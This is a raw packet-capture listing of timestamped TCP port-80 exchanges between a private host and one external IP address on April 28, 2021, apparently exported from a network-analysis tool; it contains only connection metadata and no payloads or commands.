Apr 28, 2021 23:23:54.853512049 CEST	80	50057	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:54.853555918 CEST	80	50057	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:54.853579998 CEST	80	50057	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:54.853682995 CEST	50057	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:54.853749037 CEST	50057	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:54.853945017 CEST	80	50057	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:54.853962898 CEST	80	50057	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:54.854034901 CEST	50057	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:54.854084015 CEST	50057	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:54.854281902 CEST	80	50057	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:54.854440928 CEST	80	50057	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:54.854449987 CEST	50057	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:54.854548931 CEST	50057	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:54.854682922 CEST	80	50057	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:54.854752064 CEST	50057	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:54.854777098 CEST	80	50057	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:54.854909897 CEST	50057	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:54.855235100 CEST	80	50057	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:54.855321884 CEST	50057	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:54.913280964 CEST	80	50058	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:54.916783094 CEST	80	50058	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:54.917149067 CEST	50058	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:54.956228018 CEST	80	50057	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:54.956415892 CEST	50057	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:54.956845045 CEST	80	50057	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:54.956873894 CEST	80	50057	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:54.956899881 CEST	80	50057	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:54.956918001 CEST	80	50057	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:54.956934929 CEST	80	50057	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:54.956950903 CEST	80	50057	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:54.957070112 CEST	80	50057	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:54.957107067 CEST	80	50057	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:54.957125902 CEST	50057	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:54.957182884 CEST	50057	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:54.957246065 CEST	50057	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:54.957263947 CEST	80	50057	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:54.957288980 CEST	80	50057	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:54.957422972 CEST	50057	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:54.957473040 CEST	80	50057	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:54.957595110 CEST	50057	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:55.024704933 CEST	50058	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:55.026096106 CEST	50059	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:55.059935093 CEST	80	50057	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:55.060101032 CEST	50057	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:55.060153961 CEST	80	50057	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:55.060301065 CEST	50057	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:55.060527086 CEST	80	50057	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:55.060631990 CEST	50057	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:55.061048985 CEST	80	50057	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:55.061146021 CEST	80	50057	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:55.061173916 CEST	50057	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:55.061244011 CEST	50057	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:55.062231064 CEST	80	50057	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:55.062338114 CEST	80	50057	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:55.062352896 CEST	80	50057	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:55.062359095 CEST	50057	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:55.062365055 CEST	80	50057	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:55.062376022 CEST	80	50057	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:55.062386990 CEST	80	50057	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:55.062398911 CEST	80	50057	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:55.062411070 CEST	80	50057	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:55.062426090 CEST	80	50057	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:55.062426090 CEST	50057	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:55.062515974 CEST	50057	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:55.062586069 CEST	50057	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:55.062663078 CEST	80	50057	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:55.062675953 CEST	80	50057	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:55.062747955 CEST	50057	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:55.125334978 CEST	80	50058	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:55.125420094 CEST	50058	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:55.126452923 CEST	80	50059	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:55.126645088 CEST	50059	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:55.127253056 CEST	50059	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:55.162348032 CEST	80	50057	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:55.162374973 CEST	80	50057	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:55.162714958 CEST	80	50057	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:55.162789106 CEST	80	50057	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:55.163207054 CEST	80	50057	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:55.163269043 CEST	80	50057	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:55.163516998 CEST	80	50057	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:55.164567947 CEST	80	50057	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:55.164767981 CEST	80	50057	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:55.164963961 CEST	80	50057	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:55.165115118 CEST	80	50057	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:55.165272951 CEST	80	50057	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:55.165307999 CEST	80	50057	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:55.165431976 CEST	80	50057	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:55.165628910 CEST	80	50057	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:55.165668964 CEST	80	50057	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:55.167260885 CEST	80	50057	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:55.167442083 CEST	50057	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:55.228200912 CEST	80	50059	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:55.235496044 CEST	80	50059	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:55.235599995 CEST	50059	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:55.271018982 CEST	80	50057	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:55.271315098 CEST	50057	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:55.357101917 CEST	50059	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:55.358484983 CEST	50061	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:55.456517935 CEST	80	50061	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:55.456670046 CEST	50061	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:55.457472086 CEST	50061	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:55.458687067 CEST	80	50059	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:55.458826065 CEST	50059	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:55.550942898 CEST	80	50061	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:55.554533958 CEST	80	50061	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:55.554650068 CEST	50061	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:55.664794922 CEST	50061	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:55.666815996 CEST	50062	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:55.760603905 CEST	80	50061	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:55.760874987 CEST	50061	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:55.767148972 CEST	80	50062	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:55.767358065 CEST	50062	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:55.768412113 CEST	50062	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:55.866477013 CEST	80	50062	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:55.869884014 CEST	80	50062	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:55.870089054 CEST	50062	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:55.977911949 CEST	50062	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:55.979865074 CEST	50063	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:56.076880932 CEST	80	50062	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:56.076942921 CEST	50062	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:56.077817917 CEST	80	50063	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:56.077986956 CEST	50063	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:56.079135895 CEST	50063	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:56.177169085 CEST	80	50063	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:56.181020021 CEST	80	50063	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:56.181166887 CEST	50063	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:56.290163040 CEST	50063	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:56.291697025 CEST	50064	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:56.389039040 CEST	80	50063	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:56.389128923 CEST	50063	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:56.391212940 CEST	80	50064	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:56.391319990 CEST	50064	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:56.391988039 CEST	50064	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:56.491467953 CEST	80	50064	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:56.494988918 CEST	80	50064	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:56.495098114 CEST	50064	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:56.602448940 CEST	50064	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:56.603610992 CEST	50066	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:56.701244116 CEST	80	50064	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:56.701414108 CEST	50064	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:56.703305960 CEST	80	50066	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:56.703447104 CEST	50066	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:56.704073906 CEST	50066	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:56.803828955 CEST	80	50066	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:56.811294079 CEST	80	50066	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:56.811454058 CEST	50066	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:56.914836884 CEST	50066	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:56.916273117 CEST	50067	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:57.010160923 CEST	80	50067	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:57.010423899 CEST	50067	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:57.011343956 CEST	50067	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:57.014775991 CEST	80	50066	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:57.014967918 CEST	50066	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:57.105045080 CEST	80	50067	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:57.108695030 CEST	80	50067	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:57.108787060 CEST	50067	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:57.211816072 CEST	50067	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:57.213248968 CEST	50068	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:57.306799889 CEST	80	50067	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:57.306931973 CEST	50067	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:57.309612989 CEST	80	50068	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:57.309720993 CEST	50068	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:57.310587883 CEST	50068	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:57.405659914 CEST	80	50068	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:57.409627914 CEST	80	50068	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:57.409818888 CEST	50068	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:57.524811029 CEST	50068	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:57.526820898 CEST	50069	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:57.607135057 CEST	50070	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:57.621334076 CEST	80	50068	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:57.621471882 CEST	50068	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:57.626435995 CEST	80	50069	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:57.626585960 CEST	50069	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:57.627202988 CEST	50069	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:57.703885078 CEST	80	50070	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:57.704001904 CEST	50070	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:57.704416037 CEST	50070	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:57.724714994 CEST	80	50069	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:57.727955103 CEST	80	50069	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:57.728455067 CEST	50069	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:57.801357985 CEST	80	50070	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:57.801393986 CEST	80	50070	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:57.801503897 CEST	50070	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:57.801855087 CEST	80	50070	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:57.801872969 CEST	80	50070	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:57.801954985 CEST	50070	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:57.802090883 CEST	80	50070	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:57.802105904 CEST	80	50070	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:57.802166939 CEST	50070	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:57.802210093 CEST	50070	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:57.802562952 CEST	80	50070	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:57.802580118 CEST	80	50070	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:57.802640915 CEST	50070	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:57.805150032 CEST	80	50070	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:57.805222988 CEST	50070	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:57.840204954 CEST	50069	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:57.846362114 CEST	50071	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:57.897478104 CEST	80	50070	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:57.897500992 CEST	80	50070	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:57.897516012 CEST	80	50070	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:57.897531033 CEST	80	50070	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:57.897638083 CEST	80	50070	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:57.897660017 CEST	80	50070	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:57.897672892 CEST	50070	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:57.897737980 CEST	50070	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:57.897839069 CEST	50070	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:57.897914886 CEST	80	50070	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:57.897932053 CEST	80	50070	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:57.897994041 CEST	50070	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:57.899090052 CEST	80	50070	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:57.899188995 CEST	50070	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:57.900480032 CEST	80	50070	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:57.900506973 CEST	80	50070	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:57.900580883 CEST	50070	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:57.937906981 CEST	80	50069	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:57.938105106 CEST	50069	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:57.944751024 CEST	80	50071	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:57.944936991 CEST	50071	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:57.946109056 CEST	50071	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:57.993149996 CEST	80	50070	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:57.993259907 CEST	80	50070	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:57.993304968 CEST	50070	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:57.993422031 CEST	50070	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:57.993458986 CEST	80	50070	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:57.993577003 CEST	50070	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:57.993695021 CEST	80	50070	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:57.993727922 CEST	80	50070	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:57.993748903 CEST	80	50070	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:57.993813038 CEST	80	50070	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:57.993829966 CEST	80	50070	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:57.993844986 CEST	50070	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:57.994020939 CEST	50070	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:57.994738102 CEST	80	50070	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:57.994757891 CEST	80	50070	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:57.994874001 CEST	50070	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:57.994980097 CEST	80	50070	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:57.994985104 CEST	50070	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:57.995878935 CEST	80	50070	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:57.996020079 CEST	80	50070	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:57.996069908 CEST	80	50070	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:58.044894934 CEST	80	50071	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:58.050497055 CEST	80	50071	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:58.050703049 CEST	50071	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:58.090426922 CEST	80	50070	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:58.090450048 CEST	80	50070	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:58.090456963 CEST	80	50070	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:58.090862036 CEST	80	50070	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:58.090974092 CEST	80	50070	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:58.090986013 CEST	80	50070	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:58.091157913 CEST	80	50070	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:58.091167927 CEST	80	50070	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:58.091717958 CEST	80	50070	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:58.091730118 CEST	80	50070	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:58.091737032 CEST	80	50070	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:58.091752052 CEST	80	50070	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:58.092092037 CEST	80	50070	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:58.092642069 CEST	80	50070	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:58.092662096 CEST	80	50070	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:58.093193054 CEST	80	50070	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:58.093205929 CEST	80	50070	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:58.093523979 CEST	80	50070	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:58.093713999 CEST	80	50070	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:58.096872091 CEST	80	50070	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:58.097193003 CEST	50070	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:58.165426016 CEST	50071	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:58.166939974 CEST	50073	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:58.193527937 CEST	80	50070	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:58.194480896 CEST	50070	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:58.263556957 CEST	80	50071	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:58.263737917 CEST	50071	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:58.264933109 CEST	80	50073	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:58.265105009 CEST	50073	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:58.265714884 CEST	50073	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:58.365223885 CEST	80	50073	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:58.372992039 CEST	80	50073	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:58.373164892 CEST	50073	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:58.477353096 CEST	50073	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:58.478374958 CEST	50074	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:58.573554993 CEST	80	50073	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:58.573715925 CEST	50073	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:58.575491905 CEST	80	50074	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:58.575601101 CEST	50074	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:58.576216936 CEST	50074	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:58.673791885 CEST	80	50074	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:58.678072929 CEST	80	50074	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:58.678261995 CEST	50074	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:58.790076971 CEST	50074	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:58.791482925 CEST	50075	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:58.884776115 CEST	80	50075	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:58.884968996 CEST	50075	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:58.885656118 CEST	50075	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:58.887216091 CEST	80	50074	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:58.887311935 CEST	50074	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:58.979139090 CEST	80	50075	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:58.982954025 CEST	80	50075	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:58.983120918 CEST	50075	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:59.087444067 CEST	50075	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:59.089252949 CEST	50076	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:59.398403883 CEST	50075	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:59.475193977 CEST	80	50075	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:59.475336075 CEST	50075	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:59.491333008 CEST	80	50075	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:00.439145088 CEST	80	50076	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:00.440715075 CEST	50076	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:00.441313982 CEST	50076	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:00.538824081 CEST	80	50076	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:00.545715094 CEST	80	50076	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:00.548758030 CEST	50076	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:00.597135067 CEST	50078	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:00.669086933 CEST	50076	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:00.670387983 CEST	50079	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:00.689982891 CEST	80	50078	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:00.691328049 CEST	50078	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:00.691598892 CEST	50078	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:00.766463041 CEST	80	50076	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:00.766590118 CEST	50076	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:00.767020941 CEST	80	50079	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:00.767168999 CEST	50079	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:00.767791033 CEST	50079	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:00.786123991 CEST	80	50078	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:00.786452055 CEST	80	50078	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:00.786546946 CEST	50078	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:00.786583900 CEST	50078	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:00.786586046 CEST	80	50078	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:00.786673069 CEST	50078	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:00.786907911 CEST	80	50078	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:00.786990881 CEST	50078	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:00.787019014 CEST	80	50078	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:00.787437916 CEST	80	50078	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:00.787540913 CEST	50078	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:00.787709951 CEST	80	50078	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:00.787894964 CEST	80	50078	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:00.787987947 CEST	50078	80	192.168.2.5	176.111.174.114
